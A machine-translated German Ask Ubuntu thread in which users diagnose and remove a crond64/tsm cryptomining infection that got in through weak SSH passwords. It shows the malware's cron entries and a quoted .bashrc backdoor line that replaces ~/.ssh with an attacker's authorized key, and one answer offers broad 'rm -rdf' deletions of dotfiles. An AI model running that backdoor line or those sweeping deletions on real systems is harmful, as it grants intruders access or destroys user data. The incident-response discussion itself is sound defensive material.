crond64 / tsm virus in Ubuntu

14

Kürzlich bemerkte ich, dass mein Heimserver schmerzhaft langsam wurde. Alle Ressourcen wurden von zwei Prozessen aufgebraucht: crond64und tsm. Obwohl ich sie wiederholt getötet habe, tauchten sie immer wieder auf.

Gleichzeitig hat mich mein ISP über einen Missbrauch von meiner IP-Adresse informiert:

==================== Excerpt from log for 178.22.105.xxx====================
Note: Local timezone is +0100 (CET)
Jan 28 20:55:44 shared06 sshd[26722]: Invalid user admin from 178.22.105.xxx
Jan 28 20:55:44 shared06 sshd[26722]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 20:55:45 shared06 sshd[26722]: Failed password for invalid user admin from 178.22.105.xxx port 33532 ssh2
Jan 28 20:55:46 shared06 sshd[26722]: Received disconnect from 178.22.105.xxx port 33532:11: Bye Bye [preauth]
Jan 28 20:55:46 shared06 sshd[26722]: Disconnected from 178.22.105.xxx port 33532 [preauth]
Jan 28 21:12:05 shared06 sshd[30920]: Invalid user odm from 178.22.105.xxx
Jan 28 21:12:05 shared06 sshd[30920]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 21:12:07 shared06 sshd[30920]: Failed password for invalid user odm from 178.22.105.xxx port 45114 ssh2
Jan 28 21:12:07 shared06 sshd[30920]: Received disconnect from 178.22.105.xxx port 45114:11: Bye Bye [preauth]
Jan 28 21:12:07 shared06 sshd[30920]: Disconnected from 178.22.105.xxx port 45114 [preauth]

Ich wurde von dieser Website darauf hingewiesen, dass ich möglicherweise einen Virus habe. Ich verwende Sophos AV, um meine gesamte Festplatte zu scannen. In der Tat hat es einen Virus gefunden /tmp/.mountfs/.rsync. Also habe ich den gesamten Ordner gelöscht und dachte, das ist es. Aber es kam immer wieder zurück. Dann habe ich die Benutzer-Cron-Datei eingecheckt /var/spool/cron/crontabs/kodi(der Virus wurde mit dem Benutzer meines Medienservers kodi ausgeführt), die so aussah:

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (cron.d installed on Sun Feb  3 21:52:03 2019)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* */12 * * * /home/kodi/.ttp/a/upd>/dev/null 2>&1
@reboot /home/kodi/.ttp/a/upd>/dev/null 2>&1
5 8 * * 0 /home/kodi/.ttp/b/sync>/dev/null 2>&1
@reboot /home/kodi/.ttp/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.mountfs/.rsync/c/aptitude>/dev/null 2>&1

Es sieht so aus, als würde sich der Virus von Zeit zu Zeit aus einem anderen Verzeichnis reaktivieren. Der Inhalt dieses Verzeichnisses ist:

>>> ls /home/kodi/.ttp/*
/home/kodi/.ttp/cron.d  /home/kodi/.ttp/dir2.dir

/home/kodi/.ttp/a:
a  bash.pid  config.txt  crond32  crond64  cronda  crondb  dir.dir  pools.txt  run  stop  upd

/home/kodi/.ttp/b:
a  dir.dir  rsync  run  stop  sync

/home/kodi/.ttp/c:
aptitude  dir.dir  go  ip  lib  n  p  run  slow  start  stop  tsm  tsm32  tsm64  v  watchdog

Ich habe alle diese Dateien und die Einträge in der crontab gelöscht und hoffe damit ist das Problem gelöst. Es würde mich jedoch interessieren, um welchen Virus es sich handelt, wie ich ihn möglicherweise abgefangen habe (er ist möglicherweise mit Kodi verbunden) und was ich tun kann, um ihn zu verhindern. Zum Glück lief es nur von einem Benutzer mit eingeschränkten Rechten, aber es war immer noch ärgerlich, damit umzugehen.


BEARBEITEN

Obwohl ich anscheinend alle Überreste dieses Virus entfernt habe (ich habe auch den gesamten tmp-Ordner entfernt), kam der Virus immer wieder zurück. Mir ist aufgefallen, dass es einen Eintrag gibt ~/.ssh/authorized_hosts, den ich mir definitiv nicht vorgenommen habe. Dies erklärt, wie das Virus wiederholt umgepflanzt werden kann. Ich habe den Eintrag entfernt, die Anmeldung für diesen Benutzer deaktiviert, die Kennwortanmeldung deaktiviert (nur Kennwortschlüssel) und jetzt einen nicht standardmäßigen Port verwendet.

Ich bemerkte auch wiederholte Anmeldeversuche auf meinem Server mit zufälligen Benutzernamen, wahrscheinlich von einer Art Bot (das Protokoll sah erstaunlich ähnlich aus wie das von meiner IP, das mir von meinem ISP gesendet wurde). Ich schätze, so wurde mein Computer überhaupt infiziert.

erik
quelle
3
Denken Sie daran, dass, wenn Sie bereits einmal gehackt wurden, möglicherweise andere Dinge auf der Festplatte infiziert oder beschädigt sind. Sie sollten das System wahrscheinlich wegblasen und neu aufbauen. Viren betreffen sehr selten nur eine Anwendung und breiten sich normalerweise auf der Festplatte aus.
Thomas Ward
Genau! Wenn jemand auf Ihr System gelangt ist,
löschen
Sicher, das wäre die sichere Lösung. Aber ich hatte dieses System gerade neu installiert und wollte es nicht neu installieren, ohne zu verstehen, was passiert ist. Durch das Kopieren der Dateien hätte dies von vorne beginnen können und ich hätte nur meine Zeit verschwendet.
Erik
Wahrscheinlich wurde Ihr System verletzt, wodurch der Virus immer wieder infiziert wird. Ich würde das System nuklearisieren und von vorne anfangen.
Thomas Ward
1
Ich fand auch eine Infektion in die Datei .bashrc des Benutzers: cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB... ...VKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~. Ich habe gerade einen gemacht cp /etc/skel/.bashrc /home/mycompromiseduser/, um es zu entfernen.
Letsjump

Antworten:

6

Ich hatte das selbe Der Dienst hat rsync installiert und einige Dateien abgerufen. Ich habe eine dota.tar.gzDatei im Benutzerordner gefunden.

  1. Port 22 in Firewall abweisen (zB ufw deny out 22)
  2. pkill -KILL -u kodi (dies beendet alle laufenden Prozesse des Benutzers kodi)
  3. deluser kodi
  4. userhome entfernen
  5. rsync entfernen (habe ich nicht benutzt)
  6. entfernen /tmp/.mountfs*

Bitte beachte, dass dies Kodi wahrscheinlich ruinieren wird. Anstatt das gesamte Userhome zu entfernen, können Sie wahrscheinlich nur dota.tar.gz(falls vorhanden) und den .ttpOrdner entfernen ( vergessen Sie nicht, die Crontab zu reinigen!)

Nach einem Neustart sehe ich keine ausgehenden Verbindungen mehr (überprüfen Sie mit:

netstat -peanut | grep 22

Die Infektion erfolgte über einen Benutzer mit einem schwachen Kennwort (Kodi-Konto mit dem Standardkennwort möglicherweise?)

Sjors Nijhuis
quelle
1

Ich hatte die gleiche Malware. Die Eingabe erfolgte über ein nicht gespeichertes Benutzerpasswort über ssh (nicht standardmäßiger Port), das nach ca. 24 Stunden erkannt und entfernt wurde.

In meinem Fall des Benutzers crontab Löschen rm -rdf /tmp/.*, rm -rdf /home/user/.*, killall -u userwar genug.

Finale
quelle
1

Hatte dieses Ding heute. Ich habe das System untersucht und festgestellt, dass mein System etwa einen Monat lang seine Spuren hat, und ich habe nicht bemerkt, dass dieses Ding da war, bis mein ISP mich benachrichtigt hat.

Malware kam durch unsichere Benutzer mit einem schwachen Passwort. In meinem Fall war es Timemachine-Benutzer. Das Penetrationsprotokoll sah so aus.

98341:Dec 23 23:45:36 fileserver sshd[23179]: Accepted password for timemachine from 46.101.149.19 port 45573 ssh2

Dies ist XMRIG Miner und ein Exploit, der andere IPs auf die gleichen Schwächen überprüft . Eine Maschine kann also Dutzende von anderen kaskadeninfizieren. Sie können einen Blick auf den MS-Bericht über diesen Cyberangriff werfen .

Der effektivste Schutz vor dieser Art von Angriffen ist die Installation fail2banauf Ihrem Server, die Beschränkung des ufwSSH- Zugriffs mit und die Verwendung der Whitelist-ACL für Systeme, die auf SSH auf Ihrem Server zugreifen können.

Roman Savrulin
quelle
0

In meinem Fall war die Infektionsquelle ein Benutzer, der sein unsicheres Passwort seit der Erstellung seines Kontos nicht geändert hat (natürlich habe ich es ihm gesagt). Mein Server ist wahrscheinlich auf einigen Listen: Ich bekomme ungefähr 1000 Sperren pro Woche von fail2ban (versuche es 4 Mal mit einem falschen Benutzer oder Passwort und werde für einen Monat gesperrt)

Sjors Nijhuis
quelle
0

Dies ist meine Lösung (auch als Crypo-Mining-Malware bezeichnet):

  1. die crontab Jobs erledigen
  2. Bereinigen Sie die Beschreibung dieses Crontab-Jobs, die auf Folgendes verweist: /home/xxx/.ttp/a/upd>/dev/null 2> & 1
  3. Entfernen Sie /tmp/.xxx/.rsync/c/aptitude>/dev/null 2> & 1
  4. Das Wichtigste (ich brauche einen langen Weg, um dorthin zu gelangen), andernfalls kommt es immer wieder: Führen Sie crontab -e (für diesen Benutzer) aus. Der oben angegebene crontab-Job ist vorhanden. Löschen Sie alle, speichern Sie ihn.
  5. Ändern Sie die Portnummer.
Jack Ma
quelle